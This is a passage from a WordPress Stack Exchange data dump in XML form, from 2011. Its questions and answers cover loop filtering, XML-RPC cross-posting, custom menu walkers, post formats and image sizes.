LastActivityDate="2011-05-01T19:34:10.657" />
  <row Id="16125" PostTypeId="2" ParentId="16122" CreationDate="2011-05-01T19:51:43.973" Score="1" ViewCount="" Body="&lt;p&gt;Since by default the loop will retrieve the posts in descending order by date, you can do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$featured_flag = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(in_category('Featured')) {&#xA;    if($featured_flag) {&#xA;        the_content();&#xA;    }&#xA;    else {&#xA;        $featured_flag = true;&#xA;    }&#xA;}&#xA;else {&#xA;    the_content();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first time a post from the Featured category is encountered (i.e. the most recent) it will be ignored and the &lt;code&gt;$featured_flag&lt;/code&gt; will be set to &lt;code&gt;true&lt;/code&gt;. Subsequent times through the loop &lt;code&gt;the_content()&lt;/code&gt; will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: To account for pagination you could change &lt;code&gt;$featured_flag&lt;/code&gt; to a &lt;code&gt;$_SESSION&lt;/code&gt; variable. That way the true/false value will persist across multiple pages, and once it's been set to &lt;code&gt;true&lt;/code&gt; posts will continue to display properly. Thanks for pointing out the error of my ways Bainternet :)&lt;/p&gt;&#xA;" OwnerUserId="1979" LastEditorUserId="1979" LastEditorDisplayName="" LastEditDate="2011-05-01T20:03:42.973" LastActivityDate="2011-05-01T20:03:42.973" CommentCount="4" />
  <row Id="16126" PostTypeId="2" ParentId="16122" CreationDate="2011-05-01T19:53:17.273" Score="1" ViewCount="" Body="&lt;p&gt;A while back i posted a simple function that &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12575/get-post-id-outside-of-the-loop/12581#12581&quot;&gt;gets latest post in a certain category&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_lastest_post_of_category($cat){&#xA;    $args = array( 'posts_per_page' =&amp;gt; 1, 'order'=&amp;gt; 'DESC', 'orderby' =&amp;gt; 'date', 'category__in' =&amp;gt; (array)$cat);&#xA;    $post_is = get_posts( $args );&#xA;    return $post_is[0]-&amp;gt;ID;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So once you have that function you can use use WP_Query or query_posts and using the &lt;code&gt;post__not_in&lt;/code&gt; parameter you can exclude that post, so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(`post__not_in` =&amp;gt; array(get_lastest_post_of_category($CAT_ID))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just change $CAT_ID to the actual category id&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-01T19:53:17.273" />
  <row Id="16127" PostTypeId="1" CreationDate="2011-05-01T20:46:10.380" Score="0" ViewCount="156" Body="&lt;p&gt;Greetings,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get any posts to show up in the list when I choose a particular category in the widget. I get the title, but no posts show up. What gives? I tried uninstalling and reinstalling list category posts plugin with no change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: When I go to change category in the widget, it always changes back to the ADMIN category. This is really vexing me. I tried deactivating each other plugin one by one to see if there were interaction problems, but the problem remains. This seems like a LCP widget bug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pete&lt;/p&gt;&#xA;" OwnerUserId="5034" LastEditorUserId="5034" LastEditorDisplayName="" LastEditDate="2011-05-09T15:30:04.573" LastActivityDate="2011-05-09T15:30:04.573" Title="list category posts widget not working in wp 3.1.2" Tags="&lt;plugin-list-category-post&gt;" />
  <row Id="16128" PostTypeId="2" ParentId="70" CreationDate="2011-05-01T21:15:47.617" Score="0" ViewCount="" Body="&lt;p&gt;There is as well the &lt;a href=&quot;http://wordpress.org/extend/plugins/grunion-contact-form/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Grunion Contact Form&lt;/strong&gt; (Wordpress Plugin)&lt;/a&gt; which is quite simple to use. Just add a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[contact-form]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shortcode inside a page or post. Job done. Can be configured as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-05-01T21:15:47.617" />
  <row Id="16129" PostTypeId="2" ParentId="16104" CreationDate="2011-05-01T21:23:00.477" Score="1" ViewCount="" Body="&lt;p&gt;I prefer WP-Syntax plugin for styling code snippets it also supports many programming languages such as PHP, Bash scripting, etc. There are also many other WP-Syntax Plugins to help with styling, visiaul editor support, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-syntax/&quot; rel=&quot;nofollow&quot;&gt;WP-Syntax&lt;/a&gt; (Basic Plugin)&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-syntax-colorizer/&quot; rel=&quot;nofollow&quot;&gt;WP-Syntax Colorizer&lt;/a&gt; (Styling Plugin)&lt;/p&gt;&#xA;" OwnerUserId="5036" LastActivityDate="2011-05-01T21:23:00.477" />
  <row Id="16130" PostTypeId="2" ParentId="16119" CreationDate="2011-05-01T21:35:18.207" Score="5" ViewCount="" Body="&lt;p&gt;WordPress already has a XML-RPC client class implemented. It's in the same file as the server part: &lt;code&gt;class-IXR.php&lt;/code&gt; located in &lt;code&gt;wp-includes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will generate a new post. You could wrap this in a function and attach it to the &lt;code&gt;save_post&lt;/code&gt;/&lt;code&gt;update_post&lt;/code&gt; action hook. To sync both parts, you could check for the post-slug or submit the same post-id to the post in the second blog.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rpc = new IXR_Client('http://second-blog-domain.tld/path/to/wp/xmlrpc.php');&#xA;&#xA;$post = array(&#xA;    'title' =&amp;gt; 'Post Title',&#xA;    'categories' =&amp;gt; array('Category A', 'Category B'),&#xA;    'mt_keywords' =&amp;gt; 'tagA, tagB, tagC',&#xA;    'description' =&amp;gt; 'Post Content',&#xA;    'wp_slug' =&amp;gt; 'post-slug'&#xA;);&#xA;&#xA;$params = array(&#xA;    0,&#xA;    'username',&#xA;    'password',&#xA;    $post,&#xA;    'publish'&#xA;);&#xA;&#xA;$status = $rpc-&amp;gt;query(&#xA;    'metaWeblog.newPost',&#xA;    $params&#xA;);&#xA;&#xA;if(!$status) {&#xA;    echo 'Error [' . $rpc-&amp;gt;getErrorCode() . ']: ' . $rpc-&amp;gt;getErrorMessage();&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-01T21:35:18.207" CommentCount="2" />
  <row Id="16133" PostTypeId="2" ParentId="16112" CreationDate="2011-05-01T22:30:32.160" Score="0" ViewCount="" Body="&lt;p&gt;It is possible to run more than one site using the same database. You need to give each site its own database table prefix (see line:56-62 in wp-config-sample.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are only trying to test drive different themes then &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-test-drive/&quot; rel=&quot;nofollow&quot;&gt;Theme Test Drive&lt;/a&gt; plugin is your friend. It will let you try out a different theme just for the Admin users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand you are going to be doing further development based on first site then you should look into &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration&quot; rel=&quot;nofollow&quot;&gt;WordPress OneClick Migration&lt;/a&gt; which will help you migrate site from one database to another.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-01T22:30:32.160" />
  <row Id="16135" PostTypeId="2" ParentId="16107" CreationDate="2011-05-01T22:43:16.737" Score="0" ViewCount="" Body="&lt;p&gt;Based on Chip Bennett's answer here is the solution I ended up using. I recommend it for someone looking for how to hide a sub-menu of a two-level menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.widget_nav_menu li.menu-item ul.sub-menu {&#xA;    display: none;&#xA;}&#xA;&#xA;.widget_nav_menu li.current-menu-item ul.sub-menu ,&#xA;.widget_nav_menu li.current-menu-ancestor ul.sub-menu {&#xA;    display: inherit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5025" LastActivityDate="2011-05-01T22:43:16.737" />
  <row Id="16136" PostTypeId="1" CreationDate="2011-05-01T22:47:51.090" Score="4" ViewCount="351" Body="&lt;p&gt;I want to add post formats for each post type. For example, I have a post type 'Gallery'. I want to add 'images', 'galleries' and 'videos' in this post. In normal posts I want to use another list of post formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function postf()&#xA;{&#xA;    global $post_ID;&#xA;&#xA;    $postType = get_post_type( $post_ID );&#xA;&#xA;    if( $_GET['post_type'] || $postType == 'gallery-custompost' )&#xA;    {&#xA;        add_theme_support( 'post-formats', array( 'image', 'gallery', 'video' ) );&#xA;        add_post_type_support( 'gallery-custompost', 'post-formats' );&#xA;    }&#xA;}&#xA;add_action('init', 'postf');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add a new post, it works, but when I try to edit it, the post format does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how I must do it?&lt;/p&gt;&#xA;" OwnerUserId="5041" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T13:58:44.270" LastActivityDate="2011-07-03T15:21:15.113" Title="Different post format options per custom post type?" Tags="&lt;custom-post-types&gt;&lt;post-formats&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="16137" PostTypeId="2" ParentId="15790" CreationDate="2011-05-01T22:52:34.350" Score="0" ViewCount="" Body="&lt;p&gt;I take &lt;code&gt;die()&lt;/code&gt; as solution. Though, I don't prefer this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$redirect_link =  get_permalink(35) ; //page that has form&#xA;$script_redirect = &quot;&amp;lt;div&amp;gt;Your form is submitted. Please wait a moment. If your browser didn't redirect, click &amp;lt;a href='$redirect_link'&amp;gt;here&amp;lt;/a&amp;gt;.&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type='text/javasript' language='javascript'&amp;gt; &#xA;    window.location = '$redirect_link';&#xA;&amp;lt;/script&amp;gt; &quot;;&#xA;die( $script_redirect );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-05-01T22:52:34.350" CommentCount="2" />
  <row Id="16138" PostTypeId="1" CreationDate="2011-05-01T22:59:27.497" Score="1" ViewCount="120" Body="&lt;p&gt;My blog is WP3.1.2, theme: Twenty Ten&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a strip of visual editor on top of the comments box (something like you see at the top of question box on this site). How can I do it WITHOUT PLUGINS? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched this site and the WP forums, but could not find something I could use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although WP displays html tags beneath the comments box that people can use to style their comments. But not everybody is fimiliar with them and how to use them. So instead I woild like to display a strip of tags for people to use easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple to follow instructions please. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="5021" LastEditorDisplayName="" LastEditDate="2011-05-02T16:17:11.213" LastActivityDate="2011-05-03T18:37:33.297" Title="How to add a strip of visual editor on top of comments textarea" Tags="&lt;comments&gt;&lt;visual-editor&gt;" AnswerCount="2" />
  <row Id="16139" PostTypeId="2" ParentId="10930" CreationDate="2011-05-01T23:03:06.713" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like we are working on similar things.&#xA;Not sure if this will help but may give you some other ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st of three part blog post - &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;" OwnerUserId="5024" LastActivityDate="2011-05-01T23:03:06.713" />
  <row Id="16140" PostTypeId="1" CreationDate="2011-05-01T23:12:48.543" Score="0" ViewCount="42" Body="&lt;p&gt;I created a taxonomy named color which Im using in Media Uploads, then when a user upload an image attachment they can select a color to extra-describe their uploaded picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create in a sidebar a list of this taxonomy colors to make a filter search in a specific color, to display all image attachments with that color selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-05-01T23:12:48.543" Title="Media Upload extra fields search (only to search ttachments)" Tags="&lt;attachments&gt;" />
  <row Id="16141" PostTypeId="1" AcceptedAnswerId="16142" CreationDate="2011-05-01T23:44:39.110" Score="0" ViewCount="325" Body="&lt;p&gt;I'm still very novice at PHP so any help is greatly appreciated. Typically I have found the codex to be very helpful but it appears custom walkers may be outside its scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have thumbnails show in a custom nav menu which I have in a theme. From what I understand I need to create a custom walker to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've placed this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-stamp', 'theme_location' =&amp;gt;'stamp-menu' , 'walker' =&amp;gt; new Thumbnail_Walker) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my theme menu location and inserted the 3 thumbnail lines below the item output section below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Create HTML list of nav menu items.&#xA; * Replacement for the native Walker, using the description.&#xA; *&#xA; * @see    http://wordpress.stackexchange.com/q/14037/&#xA; * @author toscho, http://toscho.de&#xA; */&#xA;class Thumbnail_Walker extends Walker_Nav_Menu&#xA;{&#xA;/**&#xA; * Start the element output.&#xA; *&#xA; * @param  string $output Passed by reference. Used to append additional content.&#xA; * @param  object $item   Menu item data object.&#xA; * @param  int $depth     Depth of menu item. May be used for padding.&#xA; * @param  array $args    Additional strings.&#xA; * @return void&#xA; */&#xA; function start_el(&amp;amp;$output, $item, $depth, $args)&#xA; {&#xA;    $classes     = empty ( $item-&amp;gt;classes ) ? array () : (array) $item-&amp;gt;classes;&#xA;&#xA;    $class_names = join(&#xA;        ' '&#xA;    ,   apply_filters(&#xA;            'nav_menu_css_class'&#xA;        ,   array_filter( $classes ), $item&#xA;        )&#xA;    );&#xA;&#xA;    ! empty ( $class_names )&#xA;        and $class_names = ' class=&quot;'. esc_attr( $class_names ) . '&quot;';&#xA;&#xA;    $output .= &quot;&amp;lt;li id='menu-item-$item-&amp;gt;ID' $class_names&amp;gt;&quot;;&#xA;&#xA;    $attributes  = '';&#xA;&#xA;    ! empty( $item-&amp;gt;attr_title )&#xA;        and $attributes .= ' title=&quot;'  . esc_attr( $item-&amp;gt;attr_title ) .'&quot;';&#xA;    ! empty( $item-&amp;gt;target )&#xA;        and $attributes .= ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;';&#xA;    ! empty( $item-&amp;gt;xfn )&#xA;        and $attributes .= ' rel=&quot;'    . esc_attr( $item-&amp;gt;xfn        ) .'&quot;';&#xA;    ! empty( $item-&amp;gt;url )&#xA;        and $attributes .= ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;';&#xA;&#xA;    // insert thumbnail&#xA;    // you may change this&#xA;    $thumbnail = '';&#xA;    if( $id = has_post_thumbnail( (int)$item-&amp;gt;object_id ) ) {&#xA;        $thumbnail = get_the_post_thumbnail( $id );&#xA;    }&#xA;&#xA;    $title = apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID );&#xA;&#xA;    $item_output = $args-&amp;gt;before&#xA;        . &quot;&amp;lt;a $attributes&amp;gt;&quot;&#xA;        . $args-&amp;gt;link_before&#xA;        . $title&#xA;        . '&amp;lt;/a&amp;gt; '&#xA;        . $args-&amp;gt;link_after&#xA;        . $thumbnail&#xA;        . $args-&amp;gt;after;&#xA;&#xA;    // Since $output is called by reference we don't need to return anything.&#xA;    $output .= apply_filters(&#xA;        'walker_nav_menu_start_el'&#xA;    ,   $item_output&#xA;    ,   $item&#xA;    ,   $depth&#xA;    ,   $args&#xA;    );&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error for unexpected } at the end of the thumbnail code so its wrong but I'm not sure why.&lt;/p&gt;&#xA;" OwnerUserId="5042" LastEditorUserId="5042" LastEditorDisplayName="" LastEditDate="2011-05-03T02:49:21.203" LastActivityDate="2011-08-03T16:12:10.763" Title="wordpress custom walker for thumbnails with custom menu" Tags="&lt;customization&gt;&lt;post-thumbnails&gt;&lt;menus&gt;" AnswerCount="2" />
  <row Id="16142" PostTypeId="2" ParentId="16141" CreationDate="2011-05-02T00:29:42.913" Score="1" ViewCount="" Body="&lt;p&gt;Add a semicolon &lt;strong&gt;;&lt;/strong&gt; after &lt;code&gt;get_the_post_thumbnail( $id )&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_post_thumbnail( $id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-02T00:29:42.913" CommentCount="10" />
  <row Id="16143" PostTypeId="1" AcceptedAnswerId="16149" CreationDate="2011-05-02T01:20:32.793" Score="0" ViewCount="56" Body="&lt;p&gt;I'm setting up a widget that allows someone to add an image to a sidebar / widget area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have a dropdown that allows the user to select on of the available sizes that I have put into the functions.php file using add_image_size()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the obvious ( renaming all the add_image_size() ) is there a way to get the size so that I can display that as well as the name??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my current drop down code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php       &#xA;    $sizes = get_intermediate_image_sizes();&#xA;    $available_size  = '&amp;lt;select name=&quot;' . $this-&amp;gt;get_field_name('image') . '&quot; &amp;gt;' . &quot;\r\n&quot;;&#xA;    $available_size .= '&amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;Choose&amp;lt;/option&amp;gt;' . &quot;\r\n&quot;;&#xA;    foreach ( $sizes as $size ) {&#xA;        if ( $instance['size'] == $size ) :&#xA;            $available_size .= '&amp;lt;option value=&quot;' . $size . '&quot; selected=&quot;selected&quot;&amp;gt;' . $size . '&amp;lt;/option&amp;gt;' . &quot;\r\n&quot;;&#xA;        else :&#xA;            $available_size .= '&amp;lt;option value=&quot;' . $size . '&quot;&amp;gt;' . $size . '&amp;lt;/option&amp;gt;' . &quot;\r\n&quot;;         &#xA;        endif;&#xA;    }&#xA;&#xA;    $available_size .= '&amp;lt;/select&amp;gt;' . &quot;\r\n&quot;;&#xA;&#xA;    echo $available_size;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3732" LastActivityDate="2011-05-02T04:32:07.400" Title="get_intermediate_image_sizes get the size names but how do I get the sizes?" Tags="&lt;widgets&gt;&lt;3.1&gt;&lt;images&gt;" AnswerCount="1" />
  <row Id="16144" PostTypeId="2" ParentId="1876" CreationDate="2011-05-02T01:25:53.763" Score="0" ViewCount="" Body="&lt;p&gt;I needed to do the same for a custom project where there was always a 200 page, and found you can also simply add this to the top of your template file ( above get_header(); )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;status_header( 200 );&#xA;$wp_query-&amp;gt;is_404=false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5043" LastActivityDate="2011-05-02T01:25:53.763" />
  <row Id="16145" PostTypeId="2" ParentId="16104" CreationDate="2011-05-02T01:30:07.250" Score="0" ViewCount="" Body="&lt;p&gt;If you use free wordpress without ability to install plugin, you can use online free service to convert your code into styled HTML called &lt;a href=&quot;http://quickhighlighter.com&quot; rel=&quot;nofollow&quot;&gt;Quick Highlighter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-05-02T01:30:07.250" />
  <row Id="16146" PostTypeId="2" ParentId="16136" CreationDate="2011-05-02T02:43:41.427" Score="0" ViewCount="" Body="&lt;p&gt;Post Formats are a custom taxonomy, registered for the &quot;Post&quot; post-type. If you want to use the &quot;Post Format&quot; taxonomy for a &lt;em&gt;different&lt;/em&gt; post-type, then you'll need to register it for that post-type, rather than merely enable support for it for the &quot;Post&quot; post-type.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T02:43:41.427" />
  <row Id="16147" PostTypeId="2" ParentId="16136" CreationDate="2011-05-02T03:14:50.930" Score="0" ViewCount="" Body="&lt;p&gt;Try adding the post format support on the arguments when you register your post type instead of using &lt;code&gt;add_post_type_support&lt;/code&gt;, like this for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    ...&#xA;    'supports' =&amp;gt; array('title', 'editor', 'author', 'post-formats')&#xA;); &#xA;register_post_type('gallery-custompost', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if have any luck.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-05-02T03:14:50.930" />
  <row Id="16148" PostTypeId="1" AcceptedAnswerId="17540" CreationDate="2011-05-02T04:14:48.063" Score="1" ViewCount="87" Body="&lt;p&gt;I am using wordpress 3.1. and I have to reorganize categorize my posts. For this purpose, I am willing to remove some categories. Therefore, after login to admin section of my blog, I go to post &gt; posts &gt; I select the articles I want to edit &gt; I select edit option from &quot;Bulk Action&quot; select box &gt; I select new categories and put some tags as well. But it adds tags only. It doesn't remove previously assigned categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if there is any plugin to do the same work. Or some other alternative.&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-02T11:33:41.363" LastActivityDate="2011-05-18T04:08:37.327" Title="Bulk category update is not updating" Tags="&lt;categories&gt;&lt;bulk&gt;" AnswerCount="2" />
  <row Id="16149" PostTypeId="2" ParentId="16143" CreationDate="2011-05-02T04:32:07.400" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $_wp_additional_image_sizes;&#xA;print '&amp;lt;pre&amp;gt;';&#xA;print_r( $_wp_additional_image_sizes );&#xA;print '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-05-02T04:32:07.400" CommentCount="1" />
  <row Id="16150" PostTypeId="2" ParentId="16065" CreationDate="2011-05-02T04:46:03.640" Score="0" ViewCount="" Body="&lt;p&gt;I tried reverting back to the older version 3.0.x, but the problem remained the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/5843214/wordpress-loop-problem-multiple-loops-index-php-and-is-paged-causing-duplicate/5853514#5853514&quot;&gt;http://stackoverflow.com/questions/5843214/wordpress-loop-problem-multiple-loops-index-php-and-is-paged-causing-duplicate/5853514#5853514&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-02T04:46:03.640" />
  <row Id="16151" PostTypeId="1" CreationDate="2011-05-02T04:53:33.517" Score="2" ViewCount="110" Body="&lt;p&gt;There is a problem: I want to add a table 'linkmeta' to work like 'postmeta' or 'commentmeta'.. and use functions like add_metadata / &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/meta.php.source.html#l98&quot; rel=&quot;nofollow&quot;&gt;update_metadata&lt;/a&gt; / delete_metadata!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but, in this functions call &quot;_get_meta_table()&quot; to verify the name in db, this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _get_meta_table($type) {&#xA;    global $wpdb;&#xA;    $table_name = $type . 'meta';&#xA;    if ( empty($wpdb-&amp;gt;$table_name) )&#xA;        return false;&#xA;    return $wpdb-&amp;gt;$table_name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, if doesn't exist the property/var named 'linkmeta' in $wpdb, &lt;code&gt;_get_meta_table&lt;/code&gt; will return false, then &lt;code&gt;update_metadata&lt;/code&gt; too will not work, because this piece of code at begin of that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! $table = _get_meta_table($meta_type) )&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but, if I can set a property/var of (class) &lt;code&gt;$wpdb&lt;/code&gt; like &lt;code&gt;$wpdb-&amp;gt;linkmeta&lt;/code&gt; return the correct name of table, in this case (default) wp_linkmeta, all the rest will work NICE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, there is a way to change wpdb in runtime?&#xA;if I just put the commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;tables = array_merge($wpdb-&amp;gt;tables, array('linkmeta'));&#xA;$wpdb-&amp;gt;linkmeta = $wpdb-&amp;gt;prefix . 'linkmeta';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at plugin initialize, will it work when function &lt;code&gt;_get_meta_table&lt;/code&gt; is called??!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rgds&lt;/p&gt;&#xA;" OwnerUserId="3575" LastActivityDate="2011-05-02T14:02:27.440" Title="How to add/change a value of $wpdb property/var?" Tags="&lt;links&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16152" PostTypeId="1" CreationDate="2011-05-02T05:03:31.730" Score="1" ViewCount="58" Body="&lt;p&gt;I have this very basic scheme to build my first plugin, but now I have one problem:&#xA;when I put a hook to add_action on point 1 works, but i need to get the color from shortcode function, so, when i put the code at point 2 don't works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        class myclass&#xA;        {&#xA;             public function init()&#xA;             {&#xA;                  global $shortcode_tags;&#xA;                      add_shortcode( MYSHORTCODE, array( 'myclass', 'shortcode' ) );&#xA;                              // * point 1&#xA;                  return;&#xA;&#xA;             }&#xA;&#xA;             public function shortcode( )&#xA;             {&#xA;                 // want to run add_action here&#xA;                             // i need to get the color from shortcode that part is done&#xA;                             // question is how i can run add_action from here and pass&#xA;                             // the variable to function globalcolor (point 3), then run it in wp_head?&#xA;                             // * point 2&#xA;             } &#xA;&#xA;             function globalcolor($color)&#xA;             {&#xA;                             echo '&amp;lt;style&amp;gt;body{color:' .$color . '}&amp;lt;/style&amp;gt;' . &quot;\n&quot;;&#xA;                             // * point 3&#xA;             }&#xA;        }&#xA;&#xA;        add_action( 'init', array( 'myclass', 'init', ) );            &#xA;&#xA;&#xA;the code to add: add_action( 'wp_head', array( 'myclass', 'globalcolor' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? and sorry for my bad english.&lt;/p&gt;&#xA;" OwnerUserId="3294" LastEditorUserId="3294" LastEditorDisplayName="" LastEditDate="2011-05-02T05:14:05.897" LastActivityDate="2011-05-02T07:14:11.393" Title="plugin development: problem with functions" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16153" PostTypeId="2" ParentId="15188" CreationDate="2011-05-02T05:36:58.427" Score="0" ViewCount="" Body="&lt;p&gt;Finally, I managed to use two plugins: &lt;a href=&quot;http://wordpress.org/extend/plugins/links-image-gallery/&quot; rel=&quot;nofollow&quot;&gt;Link Image Gallery&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-category-meta/&quot; rel=&quot;nofollow&quot;&gt;Category Meta plugin&lt;/a&gt; although I had to tweak one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both use the media gallery to select picture, but if both very active, Link Image Gallery disabled the return function of Category Meta plugin, so I added a check in Link Image Gallery's main function: &quot;if (strsrt($_SERVER['PHP_SELF'],'links.php'))&quot;, and now they both work.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-05-02T05:36:58.427" />
